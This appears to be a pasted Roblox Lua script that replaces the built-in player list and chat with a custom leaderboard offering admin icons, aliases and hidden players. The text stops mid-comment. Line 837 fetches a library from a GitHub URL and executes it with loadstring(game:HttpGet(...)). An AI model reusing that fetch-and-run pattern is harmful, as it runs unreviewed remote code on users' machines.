· 6 years ago · Dec 12, 2019, 02:04 AM
1
2if game.CoreGui:FindFirstChild("ScreenGui") then
3 game.CoreGui.ScreenGui:Destroy()
4end
5
6game:GetService("StarterGui"):SetCoreGuiEnabled("Chat", false)
7game:GetService("StarterGui"):SetCoreGuiEnabled("PlayerList", false) -- Ctrl+F "API DOCS" to get the docs
8local uieiie = Instance.new("ScreenGui",game.CoreGui)
9
10
11--settings. Don't make these local.
12ALLOW_BC_ICONS = true -- Players' BC icons will be shown next to their names
13PRIMARY_LEADERSTATS_ENABLED = true -- Leaderstats will appear in large text under the player's name
14SHOW_PRIMARY_LEADERSTAT_NAMES = true -- Primary leaderstats will have their names shown next to them
15TEAMS_ENABLED = true -- Teams will appear.
16
17CUSTOM_CHAT_COLORS = { -- add your name = Color3 to give yourself a custom chat color.
18 -- if you don't choose a chat color, but you do add a custom icon, your color will appear as golden
19 -- if you don't want golden but you do want an icon, you can set your chat color to Color3.new(1,1,1)
20 evolving888 = Color3.new(000/255, 167/255, 213/255)
21}
22
23HIDDEN_PLAYERS = { -- add playerName=true to prevent them from appearing on the leaderboard
24 example_player_name = true
25}
26
27CUSTOM_LABEL_BACKGROUND_COLORS = { -- add playerName=color3 to give certain players a unique backgroundColor
28 Player1 = Color3.new(1, 0.5, 1)
29}
30
31CUSTOM_LABEL_NAME_COLORS = { -- add playerName=color3 to give certain players a uniquely-colored name
32 Player1 = Color3.new(0, 0.5, 1)
33}
34
35ADMINS =
36{ -- add your name = 1 to get a star icon. Add your name = image to get a custom icon.
37 evolving888 = "http://www.roblox.com/asset?id=148012526",
38 creepy333 = "http://www.roblox.com/asset?id=148012526",
39 enter777 = "http://www.roblox.com/asset?id=148012526",
40}
41
42ADMIN_ICON_WIDTHS = {
43 arceusinator = 30
44}
45
46ALIASES = {
47 creepy333 = "Creepy",
48 Minish1111 = "Minish"
49}
50
51-- API DOCS
52-- _G.PlayerListAPI:SetAllowBCIcons(true or false)
53-- :AddAdmin(String name, Optional Content customIcon, Optional Int customIconWidth)
54-- :RemoveAdmin(String name)
55-- :SetAlias(String name, String alias)
56-- :SetPlayerIsHidden(String name)
57-- :SetLabelColors(String playerName, Color3 backgroundColor, Color3 textColor)
58-- _G.ChatAPI:SendChat(String playername, String message, Color3 customcolor)
59
60for name,a in pairs(ADMINS) do
61 ADMINS[name:lower()] = a
62end
63for name,a in pairs(CUSTOM_CHAT_COLORS) do
64 CUSTOM_CHAT_COLORS[name:lower()] = a
65end
66for name,a in pairs(ALIASES) do
67 ALIASES[name:lower()] = a
68end
69for name,a in pairs(HIDDEN_PLAYERS) do
70 HIDDEN_PLAYERS[name:lower()] = a
71end
72for name,a in pairs(CUSTOM_LABEL_BACKGROUND_COLORS) do
73 CUSTOM_LABEL_BACKGROUND_COLORS[name:lower()] = a
74end
75for name,a in pairs(CUSTOM_LABEL_NAME_COLORS) do
76 CUSTOM_LABEL_NAME_COLORS[name:lower()] = a
77end
78
79function GetAliasOf(name)
80 return ALIASES[name:lower()] or name
81end
82
83local export = {}
84
85export.SetAllowBCIcons = function(self, b)
86 ALLOW_BC_ICONS = b
87end
88
89export.AddAdmin = function(self, name, customicon, customiconwidth)
90 ADMINS[name:lower()] = customicon or 1
91 ADMIN_ICON_WIDTHS[name:lower()] = customiconwidth or 16
92end
93
94export.RemoveAdmin = function(self, name)
95 ADMINS[name:lower()] = 0
96end
97
98export.GetChatData = function(self)
99 return ADMINS, CUSTOM_CHAT_COLORS, ALIASES
100end
101
102export.SetAlias = function(self, name, alias)
103 if alias == "" or alias == nil then
104 ALIASES[name:lower()] = name
105 else
106 ALIASES[name:lower()] = alias
107 end
108end
109
110export.GetAlias = function(self, name)
111 return GetAliasOf(name)
112end
113
114export.SetLabelColors = function(self, playerName, backgroundColor, textColor)
115 CUSTOM_LABEL_BACKGROUND_COLORS[playerName:lower()] = backgroundColor
116 CUSTOM_LABEL_NAME_COLORS[playerName:lower()] = textColor
117end
118
119export.SetPlayerIsHidden = function(self, name, bool)
120 local current = not not HIDDEN_PLAYERS[name:lower()]
121 local new = not not bool
122 local changing = current ~= new
123
124 HIDDEN_PLAYERS[name:lower()] = new
125
126 if changing then
127 if new then
128 local existingPlayer = nil
129
130 for index, player in next, game.Players:GetPlayers() do
131 if player.Name:lower() == name:lower() then
132 existingPlayer = player
133 break
134 end
135 end
136
137
138 if existingPlayer ~= nil then
139 InsertPlayerFrame(existingPlayer)
140 end
141 elseif not new then
142 local existingPlayer = nil
143
144 for index, player in next, game.Players:GetPlayers() do
145 if player.Name:lower() == name:lower() then
146 existingPlayer = player
147 break
148 end
149 end
150
151
152 if existingPlayer ~= nil then
153 RemovePlayerFrame(existingPlayer)
154 end
155 end
156 end
157end
158
159_G.PlayerListAPI = export
160
161local Images = {
162 bottomDark = '94691904',
163 bottomLight = '94691940',
164 midDark = '94691980',
165 midLight = '94692025',
166 LargeDark = '96098866',
167 LargeLight = '96098920',
168 LargeHeader = '96097470',
169 NormalHeader = '94692054',
170 LargeBottom = '96397271',
171 NormalBottom = '94754966',
172 DarkBluePopupMid = '97114905',
173 LightBluePopupMid = '97114905',
174 DarkPopupMid = '97112126',
175 LightPopupMid = '97109338',
176 DarkBluePopupTop = '97114838',
177 DarkBluePopupBottom = '97114758',
178 DarkPopupBottom = '100869219',
179 LightPopupBottom = '97109175',
180}
181
182local BASE_TWEEN = .25
183
184local MOUSE_HOLD_TIME = .15
185local MOUSE_DRAG_DISTANCE = 15
186
187--[[
188 Generic object Create function, which I am using to create Gui's
189 Thanks to Stravant!
190--]]
191local Obj = {}
192function Obj.Create(guiType)
193 return function(data)
194 local obj = Instance.new(guiType)
195 for k, v in pairs(data) do
196 if type(k) == 'number' then
197 v.Parent = obj
198 else
199 obj[k] = v
200 end
201 end
202 return obj
203 end
204end
205
206--[[
207 makes a full sized background for a guiobject
208 @Args:
209 imgName asset name of image to fill background
210 @Return: background gui object
211--]]
212function MakeBackgroundGuiObj(imgName)
213 return Obj.Create'ImageLabel'
214 {
215 Name = 'Background',
216 BackgroundTransparency = 1,
217 Image = imgName,
218 Position = UDim2.new(0, 0, 0, 0),
219 Size = UDim2.new(1,0,1,0),
220 }
221end
222--[[ turns 255 integer color value to a color3 --]]
223function Color3I(r,g,b)
224 return Color3.new(r/255,g/255,b/255)
225end
226
227--[[
228 Gets correct icon for builder's club status to display by name
229 @Args:
230 membershipType Enum of membership status
231 @Return: string of image asset
232--]]
233function getMembershipTypeIcon(membershipType,playerName)
234 if ADMINS[string.lower(playerName)]~=nil then
235 if ADMINS[string.lower(playerName)] == 1 then
236 return "http://www.roblox.com/asset/?id=146188778"
237 else
238 local dat = ADMINS[string.lower(playerName)]
239
240 if type(dat) == "table" then
241 return dat[1]
242 elseif type(dat) == "string" then
243 return ADMINS[string.lower(playerName)]
244 else
245 return "http://www.roblox.com/asset/?id=146188778"
246 end
247 end
248 elseif membershipType == Enum.MembershipType.None then
249 return ""
250 elseif membershipType == Enum.MembershipType.BuildersClub then
251 return "rbxasset://textures/ui/TinyBcIcon.png"
252 elseif membershipType == Enum.MembershipType.TurboBuildersClub then
253 return "rbxasset://textures/ui/TinyTbcIcon.png"
254 elseif membershipType == Enum.MembershipType.OutrageousBuildersClub then
255 return "rbxasset://textures/ui/TinyObcIcon.png"
256 else
257 error("Unknown membershipType" .. membershipType)
258 end
259end
260
261local function getFriendStatusIcon(friendStatus)
262 if friendStatus == Enum.FriendStatus.Unknown or friendStatus == Enum.FriendStatus.NotFriend then
263 return ""
264 elseif friendStatus == Enum.FriendStatus.Friend then
265 return "http://www.roblox.com/asset/?id=99749771"
266 elseif friendStatus == Enum.FriendStatus.FriendRequestSent then
267 return "http://www.roblox.com/asset/?id=99776888"
268 elseif friendStatus == Enum.FriendStatus.FriendRequestReceived then
269 return "http://www.roblox.com/asset/?id=99776838"
270 else
271 error("Unknown FriendStatus: " .. friendStatus)
272 end
273end
274
275
276--[[
277 Utility function to create buttons for the popup menus
278 @Args:
279 nparent what to parent this button to
280 ntext text to put on this button
281 index number index of this entry in menu
282 last is this the last element of the popup menu
283 @Return: a popup menu button
284--]]
285function MakePopupButton(nparent,ntext,index,last)
286 local tobj = Obj.Create"ImageButton"
287 {
288 Name = 'ReportButton',
289 BackgroundTransparency = 1,
290 Position = UDim2.new(0,0,1*index,0),
291 Size = UDim2.new(1, 0, 1, 0),
292 ZIndex=7,
293 Obj.Create'TextLabel'
294 {
295 Name = 'ButtonText',
296 BackgroundTransparency = 1,
297 Position = UDim2.new(.07, 0, .07, 0),
298 Size = UDim2.new(.86,0,.86,0),
299 Parent = HeaderFrame,
300 Font = 'ArialBold',
301 Text = ntext,
302 FontSize = 'Size14',
303 TextScaled = true,
304 TextColor3 = Color3.new(1,1,1),
305 TextStrokeTransparency = 1,
306 ZIndex=7,
307 },
308 Parent = nparent,
309 }
310 if index==0 then
311 tobj.Image = 'http://www.roblox.com/asset/?id=97108784'
312 elseif last then
313 if index%2==1 then
314 tobj.Image = 'http://www.roblox.com/asset/?id='.. Images['LightPopupBottom']
315 else
316 tobj.Image = 'http://www.roblox.com/asset/?id='.. Images['DarkPopupBottom']
317 end
318 else
319 if index%2==1 then
320 tobj.Image = 'http://www.roblox.com/asset/?id=97112126'
321 else
322 tobj.Image = 'http://www.roblox.com/asset/?id=97109338'
323 end
324 end
325 return tobj
326end
327
328
329--[[
330 obligatory wait for child function
331 @Args:
332 parent Parent object to look for child in
333 child name of child object to look for
334 @Return: object waited for
335--]]
336function WaitForChild(parent,child)
337 while not parent:FindFirstChild(child) do
338 wait() debugprint(" child "..parent.Name.." waiting for "..child)
339 end
340 return parent[child]
341end
342
343 ---------------------------
344 -- Workspace Objects
345 ---------------------------
346
347-- might want to move all this to an init function, wait for localplayer elsewhere
348local Players = game:GetService('Players')
349-- make sure this doesn't run on the server(it will if you dont do this)
350while not Players.LocalPlayer do
351 Players.Changed:wait()
352end
353
354local LocalPlayer = Players.LocalPlayer
355local Mouse = LocalPlayer:GetMouse()
356
357local ScreenGui = Obj.Create"Frame"
358{
359 Name = 'PlayerListScreen',
360 Size = UDim2.new(1, 0, 1, 0),
361 BackgroundTransparency = 1,
362 Parent = uieiie
363}
364local MainFrame = Obj.Create"Frame"
365{
366 Name = 'LeaderBoardFrame',
367 Position = UDim2.new(1, -150, 0.005, 0),
368 Size = UDim2.new(0, 150, 0, 800),
369 BackgroundTransparency = 1,
370 Parent = ScreenGui,
371}
372
373--frame used for expanding leaderstats when frame is 'focused'
374local FocusFrame = Obj.Create"Frame"
375{
376 Name = 'FocusFrame',
377 Position = UDim2.new(0, 0, 0, 0),
378 Size = UDim2.new(1, 0, 0, 100),
379 BackgroundTransparency = 1,
380 Active = true,
381 Parent = MainFrame,
382}
383
384local TemplateFrameYSize = 0.670000017
385
386 -- HEADER
387local HeaderFrame = Obj.Create"Frame"
388{
389 Name = 'Header',
390 BackgroundTransparency = 1,
391 Position = UDim2.new(0,0,0,0),
392 Size = UDim2.new(1, 0, .07, 0),
393 Parent = MainFrame,
394 MakeBackgroundGuiObj('http://www.roblox.com/asset/?id=94692054'),
395}
396 local HeaderFrameHeight = HeaderFrame.Size.Y.Scale
397 local MaximizeButton = Obj.Create"ImageButton"
398 {
399 Name = 'MaximizeButton',
400 Active = true,
401 BackgroundTransparency = 1,
402 Position = UDim2.new(0, 0, 0, 0),
403 Size = UDim2.new(1,0,1,0),
404 Parent = HeaderFrame,
405 }
406 local HeaderName = Obj.Create"TextLabel"
407 {
408 Name = 'PlayerName',
409 BackgroundTransparency = 1,
410 Position = UDim2.new(0, 0, .01, 0),
411 Size = UDim2.new(.98,0,.38,0),
412 Parent = HeaderFrame,
413 Font = 'ArialBold',
414 Text = GetAliasOf(LocalPlayer.Name),
415 FontSize='Size24',
416 --TextScaled = true,
417 TextColor3 = Color3.new(1,1,1),
418 TextStrokeColor3 = Color3.new(0,0,0),
419 TextStrokeTransparency = 0,
420 TextXAlignment = 'Right',
421 TextYAlignment = 'Center',
422 }
423 local HeaderScore = Obj.Create"TextLabel"
424 {
425 Name = 'PlayerScore',
426 BackgroundTransparency = 1,
427 Position = UDim2.new(0, 0, .4, 0),
428 Size = UDim2.new(.98,0,0,30),
429 Parent = HeaderFrame,
430 Font = 'ArialBold',
431 Text = '',
432 FontSize='Size24',
433 TextYAlignment = 'Top',
434 --TextScaled = true,
435 TextColor3 = Color3.new(1,1,1),
436 TextStrokeTransparency = 1,
437 TextXAlignment = 'Right',
438 TextYAlignment = 'Top',
439 }
440 local HeaderScoreName = Obj.Create"TextLabel"
441 {
442 Name = 'ScoreNameLabel',
443 BackgroundTransparency = 1,
444 Position = UDim2.new(0, 5, 0, 0),
445 Size = UDim2.new(1, 0, 1, 0),
446 Font = 'ArialBold',
447 FontSize = 'Size14',
448 Text = '',
449 TextColor3 = Color3.new(1, 1, 1),
450 TextStrokeTransparency = 0,
451 TextXAlignment = 'Left',
452 Parent = HeaderScore
453 }
454
455coroutine.resume(coroutine.create(function() while wait(1) do
456 HeaderFrame.PlayerName.Text = GetAliasOf(LocalPlayer.Name)
457end end))
458 -- BOTTOM
459 --used for shifting bottom frame for mouse over effects
460local BottomShiftFrame = Obj.Create"Frame"
461{
462 Name= 'BottomShiftFrame',
463 BackgroundTransparency = 1,
464 Position = UDim2.new(0,0,HeaderFrameHeight,0),
465 Size = UDim2.new(1,0,1,0),
466 Parent=MainFrame,
467}
468 local BottomFrame = Obj.Create"Frame"
469 {
470 Name = 'Bottom',
471 BackgroundTransparency = 1,
472 Position = UDim2.new(0,0,.07,0),
473 Size = UDim2.new(1, 0, .03, 0),
474 Parent = BottomShiftFrame,
475 MakeBackgroundGuiObj('http://www.roblox.com/asset/?id=94754966'),
476 }
477 local ExtendButton = Obj.Create"ImageButton"
478 {
479 Name = 'bigbutton',
480 Active = true,
481 BackgroundTransparency = 1,
482 Position = UDim2.new(0, 0, 0, 0),
483 Size = UDim2.new(1,0,1.5,0),
484 ZIndex = 3,
485 Parent = BottomFrame,
486 }
487 local ExtendTab = Obj.Create"ImageButton"
488 {
489 Name = 'extendTab',
490 Active = true,
491 BackgroundTransparency = 1,
492 Image = 'http://www.roblox.com/asset/?id=94692731',
493 Position = UDim2.new(.608, 0, .3, 0),
494 Size = UDim2.new(.3,0,.7,0),
495 Parent = BottomFrame,
496 }
497local TopClipFrame = Obj.Create"Frame"
498{
499 Name = 'ListFrame',
500 BackgroundTransparency = 1,
501 Position = UDim2.new(-1,0,.07,0),
502 Size = UDim2.new(2, 0, 1, 0),
503 Parent = MainFrame,
504 ClipsDescendants = true,
505}
506 local BottomClipFrame = Obj.Create"Frame"
507 {
508 Name = 'BottomFrame',
509 BackgroundTransparency = 1,
510 Position = UDim2.new(0,0, - .8,0),
511 Size = UDim2.new(1, 0, 1, 0),
512 Parent = TopClipFrame,
513 ClipsDescendants = true,
514 }
515 local ScrollBarFrame = Obj.Create"Frame"
516 {
517 Name = 'ScrollBarFrame',
518 BackgroundTransparency = 1,
519 Position = UDim2.new(.987,0,.8,0),
520 Size = UDim2.new(.01, 0, .2, 0),
521 Parent = BottomClipFrame,
522 }
523 local ScrollBar = Obj.Create"Frame"
524 {
525 Name = 'ScrollBar',
526 BackgroundTransparency = 0,
527 BackgroundColor3 = Color3.new(.2,.2,.2),
528 Position = UDim2.new(0,0,0,0),
529 Size = UDim2.new(1, 0, .5, 0),
530 ZIndex = 5,
531 Parent = ScrollBarFrame,
532
533 }
534 local ListFrame = Obj.Create"Frame"
535 {
536 Name = 'SubFrame',
537 BackgroundTransparency = 1,
538 Position = UDim2.new(0,0,.8,0),
539 Size = UDim2.new(1, 0, 1, 0),
540 Parent = BottomClipFrame,
541 }
542local PopUpClipFrame = Obj.Create"Frame"
543{
544 Name = 'PopUpFrame',
545 BackgroundTransparency = 1,
546 SizeConstraint='RelativeXX',
547 Position = MainFrame.Position + UDim2.new( 0,-150,0,0),
548 Size = UDim2.new(0,150,0,800),
549 Parent = MainFrame,
550 ClipsDescendants = true,
551 ZIndex=7,
552}
553local PopUpPanel = nil
554 local PopUpPanelTemplate = Obj.Create"Frame"
555 {
556 Name = 'Panel',
557 BackgroundTransparency = 1,
558 Position = UDim2.new(1,0,0,0),
559 Size = UDim2.new(1,0,.032,0),
560 Parent = PopUpClipFrame,
561 }
562
563local StatTitles = Obj.Create"Frame"
564{
565 Name = 'StatTitles',
566 BackgroundTransparency = 1,
567 Position = UDim2.new(0,0,1,-10),
568 Size = UDim2.new(1, 0, 0, 0),
569 Parent = HeaderFrame,
570}
571
572local IsMinimized = Instance.new('BoolValue')
573local IsMaximized = Instance.new('BoolValue')
574local IsTabified = Instance.new('BoolValue')
575local AreNamesExpanded = Instance.new('BoolValue')
576
577
578local MiddleTemplate = Obj.Create"Frame"
579{
580 Name = 'MidTemplate',
581 BackgroundTransparency = 1,
582 Position = UDim2.new(100,0,.07,0),
583 Size = UDim2.new(.5, 0, .025, 0),--UDim2.new(1, 0, .03, 0),
584 Obj.Create'ImageLabel'
585 {
586 Name = 'BCLabel',
587 Active = true,
588 BackgroundTransparency = 1,
589 Position = UDim2.new(.005, 3, .20, -2),
590 Size = UDim2.new(0,16,0,16),
591 SizeConstraint = 'RelativeYY',
592 Image = "",
593 ZIndex = 3,
594 },
595 Obj.Create'ImageLabel'
596 {
597 Name = 'FriendLabel',
598 Active = true,
599 BackgroundTransparency = 1,
600 Position = UDim2.new(.005, 5, .15, 0),
601 Size = UDim2.new(0,16,0,16),
602 SizeConstraint = 'RelativeYY',
603 Image = "",
604 ZIndex = 3,
605 },
606 Obj.Create"ImageButton"
607 {
608 Name = 'ClickListener',
609 Active = true,
610 BackgroundTransparency = 1,
611 Position = UDim2.new(.005, 1, 0, 0),
612 Size = UDim2.new(.96,0,1,0),
613 ZIndex = 3,
614 },
615 Obj.Create"Frame"
616 {
617 Name = 'TitleFrame',
618 BackgroundTransparency = 1,
619 Position = UDim2.new(.01, 0, 0, 0),
620 Size = UDim2.new(0,140,1,0),
621 ClipsDescendants=true,
622 Obj.Create"TextLabel"
623 {
624 Name = 'Title',
625 BackgroundTransparency = 1,
626 Position = UDim2.new(0, 5, 0, 0),
627 Size = UDim2.new(100,0,1,0),
628 Font = 'Arial',
629 FontSize='Size14',
630 TextColor3 = Color3.new(1,1,1),
631 TextXAlignment = 'Left',
632 TextYAlignment = 'Center',
633 ZIndex = 3,
634 },
635 },
636
637 Obj.Create"TextLabel"
638 {
639 Name = 'PlayerScore',
640 BackgroundTransparency = 1,
641 Position = UDim2.new(0, 0, 0, 0),
642 Size = UDim2.new(1,0,1,0),
643 Font = 'ArialBold',
644 Text = '',
645 FontSize='Size14',
646 TextColor3 = Color3.new(1,1,1),
647 TextXAlignment = 'Right',
648 TextYAlignment = 'Center',
649 ZIndex = 3,
650 },
651 --Obj.Create'IntValue'{Name = 'ID'},
652 --Obj.Create'ObjectValue'{Name = 'Player'},
653 --Obj.Create'IntValue'{Name = 'Score'},
654 ZIndex = 3,
655}
656local MiddleBGTemplate = Obj.Create"Frame"
657{
658 Name = 'MidBGTemplate',
659 BackgroundTransparency = 1,
660 BorderSizePixel = 0,
661 Position = UDim2.new(100,0,.07,0),
662 Size = UDim2.new(.5, 0, .025, 0),--UDim2.new(1, 0, .03, 0),
663 MakeBackgroundGuiObj('http://www.roblox.com/asset/?id=94692025'),
664
665}
666
667 -- REPORT ABUSE OBJECTS
668
669local ReportAbuseShield = Obj.Create"TextButton"
670{
671 Name = "ReportAbuseShield",
672 Text = "",
673 AutoButtonColor = false,
674 Active = true,
675 Visible = true,
676 Size = UDim2.new(1,0,1,0),
677 BackgroundColor3 = Color3I(51,51,51),
678 BorderColor3 = Color3I(27,42,53),
679 BackgroundTransparency = 1,
680}
681
682local ReportAbuseFrame = Obj.Create "Frame"
683{
684 Name = "ReportAbuseFrame",
685 Position = UDim2.new(0.5, -250, 0.5, -100),
686 Size = UDim2.new(0, 500, 0, 200),
687 ZIndex = 9,
688 Parent = ReportAbuseShield,
689 Style = "RobloxRound"
690}
691
692local ReportAbuseClose = Obj.Create "TextButton"
693{
694 BackgroundColor3 = Color3.new(150/255, 0, 0),
695 BorderColor3 = Color3.new(200/255, 200/255, 200/255),
696 Name = "Close",
697 Position = UDim2.new(1, -20, 0, 0),
698 Size = UDim2.new(0, 20, 0, 20),
699 ZIndex = 10,
700 Font = "SourceSansBold",
701 FontSize = "Size12",
702 Text = "X",
703 TextColor3 = Color3.new(200/255, 200/255, 200/255),
704 TextStrokeTransparency = 0,
705 Parent = ReportAbuseFrame
706}
707
708local ReportAbuseHeader = Obj.Create "TextLabel"
709{
710 BackgroundTransparency = 1,
711 Name = "Sorry",
712 Position = UDim2.new(0.5, 0, 0, 20),
713 ZIndex = 10,
714 Font = "ArialBold",
715 FontSize = "Size36",
716 Text = "Sorry! :(",
717 TextColor3 = Color3.new(200/255, 200/255, 200/255),
718 TextStrokeTransparency = 0,
719 Parent = ReportAbuseFrame
720}
721
722local ReportAbuseInfo = Obj.Create "TextLabel"
723{
724 BackgroundColor3 = Color3.new(),
725 BackgroundTransparency = 0.5,
726 BorderColor3 = Color3.new(200/255, 200/255, 200/255),
727 Name = "ReportAbuseInfo",
728 Position = UDim2.new(0, 0, 0, 50),
729 Size = UDim2.new(1, 0, 1, -50),
730 Font = "ArialBold",
731 FontSize = "Size14",
732 Text = "This game is using a specialized player list that uses an API to unlock certain features. Because this is a modified player list, certain high-level functions are disabled such as in-game Friend Requests and the Report Abuse function.",
733 TextColor3 = Color3.new(200/255, 200/255, 200/255),
734 TextStrokeTransparency = 0,
735 TextYAlignment = "Top",
736 ZIndex = 10,
737 TextWrapped = true,
738 Parent = ReportAbuseFrame,
739 Obj.Create"TextLabel"
740 {
741 BackgroundTransparency = 1,
742 Name = "FRs",
743 Position = UDim2.new(0, 20, 0, 50),
744 Size = UDim2.new(1, -40, 1, -50),
745 ZIndex = 10,
746 Font = "Arial",
747 FontSize = "Size12",
748 Text = "To add a friend, you will need to go to the roblox site and find them using the player search page. Once you've found them, click the \"Add Friend\" button under their character.",
749 TextColor3 = Color3.new(200/255, 200/255, 200/255),
750 TextStrokeTransparency = 0,
751 TextWrapped = true,
752 TextYAlignment = "Top"
753 },
754 Obj.Create"TextLabel"
755 {
756 BackgroundTransparency = 1,
757 Name = "Report",
758 Position = UDim2.new(0, 20, 0, 90),
759 Size = UDim2.new(1, -40, 1, -50),
760 ZIndex = 10,
761 Font = "Arial",
762 FontSize = "Size12",
763 Text = "To report abuse, you need to open your game menu by pressing the 'Esc' button on your keyboard, then click Report Abuse and fill out the necessary information.",
764 TextColor3 = Color3.new(200/255, 200/255, 200/255),
765 TextStrokeTransparency = 0,
766 TextWrapped = true,
767 TextYAlignment = "Top"
768 }
769}
770
771local BigButton=Instance.new('ImageButton')
772 BigButton.Size=UDim2.new(1,0,1,0)
773 BigButton.BackgroundTransparency=1
774 BigButton.ZIndex=8
775 BigButton.Visible=false
776 --BigButton.Active=false
777 BigButton.Parent=ScreenGui
778
779
780 local debugFrame = Obj.Create"Frame"
781 {
782 Name = 'debugframe',
783 Position = UDim2.new(0, 0, 0, 0),
784 Size = UDim2.new(0, 150, 0, 800),--0.99000001
785 BackgroundTransparency = 1,
786
787 }
788 local debugplayers = Obj.Create"TextLabel"
789 {
790 BackgroundTransparency = .8,
791 Position = UDim2.new(0, 0, .01, 0),
792 Size = UDim2.new(1,0,.5,0),
793 Parent = debugFrame,
794 Font = 'ArialBold',
795 Text = '--',
796 FontSize='Size14',
797 TextWrapped=true,
798 TextColor3 = Color3.new(1,1,1),
799 TextStrokeColor3 = Color3.new(0,0,0),
800 TextStrokeTransparency = 0,
801 TextXAlignment = 'Right',
802 TextYAlignment = 'Center',
803 }
804 local debugOutput = Obj.Create"TextLabel"
805 {
806 BackgroundTransparency = .8,
807 Position = UDim2.new(0, 0, .5, 0),
808 Size = UDim2.new(1,0,.5,0),
809 Parent = debugFrame,
810 Font = 'ArialBold',
811 Text = '--',
812 FontSize='Size14',
813 TextWrapped=true,
814 TextColor3 = Color3.new(1,1,1),
815 TextStrokeColor3 = Color3.new(0,0,0),
816 TextStrokeTransparency = 0,
817 TextXAlignment = 'Right',
818 TextYAlignment = 'Center',
819 }
820
821
822--[[
823 simple function to toggle the display of debug output
824--]]
825local DebugPrintEnabled=true
826function debugprint(str)
827 --print(str)
828 if DebugPrintEnabled then
829 debugOutput.Text=str
830 end
831end
832
833
834 -------------------------
835 -- Script objects
836 -------------------------
837local RbxGui = loadstring(game:HttpGet("https://raw.githubusercontent.com/Roblox/Core-Scripts/master/CoreScriptsRoot/Libraries/RbxGui.lua", true))()
838
839 -- number of entries to show if you click minimize
840local DefaultEntriesOnScreen = 8
841
842
843
844
845
846for _,i in pairs(Images) do
847 Game:GetService("ContentProvider"):Preload("http://www.roblox.com/asset/?id="..i)
848end
849
850 -- ordered array of 'score data', each entry has:
851 -- Name(String)
852 -- Priority(number)
853 -- IsPrimary (bool, should it be shown in upper right)
854 -- MaxLength (integer, of the length of the longest element for this column)
855local ScoreNames = {}
856 -- prevents flipping in playerlist panels
857local AddId = 0
858 -- intermediate table form of all player entries in format of:
859 -- Frame
860 -- Player
861 -- Score
862 -- ID
863 -- MyTeam (team ENRTY(not actual team) I am currently on)
864local PlayerFrames = {}
865 -- intermediate ordered frame array, composed of Entrys of
866 -- Frame
867 -- MyTeam (my team object)
868 -- MyPlayers ( an ordered array of all player frames in team )
869 -- AutoHide (bool saying whether it should be hidden)
870 -- IsHidden (bool)
871 -- ID (int to prevent flipping out of leaderboard, fun times)
872local TeamFrames = {}
873 -- one special entry from teamFrames, for unaffiliated players, only shown if players non - empty
874local NeutralTeam = nil
875
876 -- final 'to be displayed' list of frames
877local MiddleFrames = {}
878local MiddleFrameBackgrounds = {}
879local MiddleFrameHeight = .03
880 -- time of last click
881local LastClick = 0
882local ButtonCooldown = .25
883
884local OnIos = false
885pcall(function() OnIos = Game:GetService('UserInputService').TouchEnabled end)
886
887
888 -- you get 200 of x screen space per stat added, start width 16%
889local BaseScreenXSize = 150
890local SpacingPerStat = 10 --spacing between stats
891
892
893local MaximizedBounds = UDim2.new(.5,0,1,0)
894local MaximizedPosition = UDim2.new(.25,0,.1,0)
895local NormalBounds = UDim2.new(0,BaseScreenXSize, 0, 800)
896local NormalPosition = UDim2.new(1 , - BaseScreenXSize, 0.005, 0)
897
898local MinimizedBounds = UDim2.new(0, BaseScreenXSize, 0.99000001, 0)
899
900--free space to give last stat on the right
901local RightEdgeSpace = -.04
902
903 -- where the scroll par currently is positioned
904local ScrollPosition = 0.75999999
905local IsDragging = false -- am I dragging the player list
906
907local DefaultBottomClipPos = BottomClipFrame.Position.Y.Scale
908
909local LastSelectedPlayerEntry = nil
910local SelectedPlayerEntry = nil
911local SelectedPlayer = nil
912
913 -- locks(semaphores) for stopping race conditions
914local AddingFrameLock = false
915local ChangingOrderLock = false
916local AddingStatLock = false
917local BaseUpdateLock = false
918local WaitForClickLock = false
919local InPopupWaitForClick=false
920local PlayerChangedLock = false
921local NeutralTeamLock = false
922
923local ScrollWheelConnections = {}
924
925
926local DefaultListSize = 8
927if not OnIos then DefaultListSize = 12 end
928local DidMinimizeDrag = false
929
930--local PlaceCreatorId=game.CreatorId
931
932 -- report abuse objects
933local AbuseName
934local Abuses = {
935 "Bad Words or Threats",
936 "Bad Username",
937 "Talking about Dating",
938 "Account Trading or Sharing",
939 "Asking Personal Questions",
940 "Rude or Mean Behavior",
941 "False Reporting Me"
942}
943local UpdateAbuseFunction
944local AbuseDropDown, UpdateAbuseSelection
945
946local PrivilegeLevel =
947{
948 Owner = 255,
949 Admin = 240,
950 Member = 128,
951 Visitor = 10,
952 Banned = 0,
953}
954
955
956local IsPersonalServer = not not game.Workspace:FindFirstChild("PSVariable")
957
958game.Workspace.ChildAdded:connect(function(nchild)
959 if nchild.Name=='PSVariable' and nchild:IsA('BoolValue') then
960 IsPersonalServer=true
961 end
962end)
963 -------------------------------
964 -- Static Functions
965 -------------------------------
966function GetTotalEntries()
967 return math.min(#MiddleFrameBackgrounds,DefaultEntriesOnScreen)
968end
969
970function GetEntryListLength()
971 local numEnts=#PlayerFrames+#TeamFrames
972 if NeutralTeam then
973 numEnts=numEnts+1
974 end
975 return numEnts
976end
977
978function AreAllEntriesOnScreen()
979 return #MiddleFrameBackgrounds * MiddleTemplate.Size.Y.Scale <= 1 + DefaultBottomClipPos
980end
981
982function GetLengthOfVisbleScroll()
983 return 1 + DefaultBottomClipPos
984end
985
986function GetMaxScroll()
987 return DefaultBottomClipPos * - 1
988end
989 -- can be optimized by caching when this varible changes
990function GetMinScroll()
991 if AreAllEntriesOnScreen() then
992 return GetMaxScroll()
993 else
994 return (GetMaxScroll() - (#MiddleFrameBackgrounds * MiddleTemplate.Size.Y.Scale)) + (1 + DefaultBottomClipPos)
995 end
996end
997
998function AbsoluteToPercent(x,y)
999 return Vector2.new(x,y)/ScreenGui.AbsoluteSize
1000end
1001--[[
1002 tweens property of element from starta to enda over length of time
1003 Warning: should be put in a Spawn call
1004 @Args:
1005 element textobject to tween transparency on
1006 propName
1007 starta alpha to start tweening
1008 enda alpha to end tweening on
1009 length how many seconds to spend tweening
1010--]]
1011function TweenProperty(obj, propName, inita, enda, length)
1012 local startTime = tick()
1013 while tick()-startTime<length do
1014 obj[propName] = ((enda-inita)*((tick()-startTime)/length))+inita
1015 wait(1/30)
1016 end
1017 obj[propName] = enda
1018end
1019--[[
1020 UGLY UGLY HACK FUNCTION
1021 replace with some sort of global input catching A.S.A. FREAKING P.
1022 creates a fullsize gui element to catch next mouse up event(completeing a click)
1023 @Args:
1024 frameParent Object to parent fullscreen gui to
1025 polledFunction function to call on mouse moved events in this gui
